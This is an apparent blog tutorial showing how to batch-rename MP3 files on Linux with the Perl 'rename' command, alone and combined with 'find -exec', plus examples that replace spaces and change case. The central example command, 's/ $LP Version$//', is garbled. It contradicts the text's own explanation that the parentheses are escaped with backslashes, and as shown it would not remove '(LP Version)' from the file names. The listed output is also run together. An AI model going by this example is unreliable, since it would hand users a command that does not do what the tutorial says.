rename (search command) (files) rename 's/search_for_string/replace_string_with_this/' files

To delete the matching string, simply leave the replace area empty like so:

rename 's/search_for_string//' files

Our Example:

rename 's/ $LP Version$//' *.mp3

Notice, the left and right parentheses need to be preceded with a backslash “\” character, although the spaces do not. The backslash is a metacharacter used to give you control over what your are matching against. For more info, here’s a link to a decent tutorial on the matter.

You can see the results of the command below.

ls -1 01 - Enter Sandman.mp3 02 - Sad But True.mp3 03 - Holier Than Thou.mp3 04 - The Unforgiven.mp3 05 - Wherever I May Roam.mp3 06 - Don't Tread On Me.mp3 07 - Through The Never.mp3 08 - Nothing Else Matters.mp3 09 - Of Wolf And Man.mp3 10 - The God That Failed.mp3 11 - My Friend Of Misery.mp3 12 - The Struggle Within.mp3

Now, to rename a large number of files spanning multiple directories, simply combine “rename” with the power of the “find” command.

Syntax:

find . -type f -name *.mp3 -exec rename 's/ $LP Version$//' '{}' \;

In this example, we searched starting from the current directory for only files with .mp3 in their file names. We use the find command’s -exec option to execute the rename command against the result set. See the find(1) manpage for more info.

Other useful examples:

Replace all spaces with underscores. rename 's/ /\_/g' *.mp3

Replace all uppercase with lowercase characters rename 'y/[A-Z]/[a-z]/' *.mp3

Easy stuff, and you don’t even need any fancy GUI applications to do the job!

Share and Enjoy: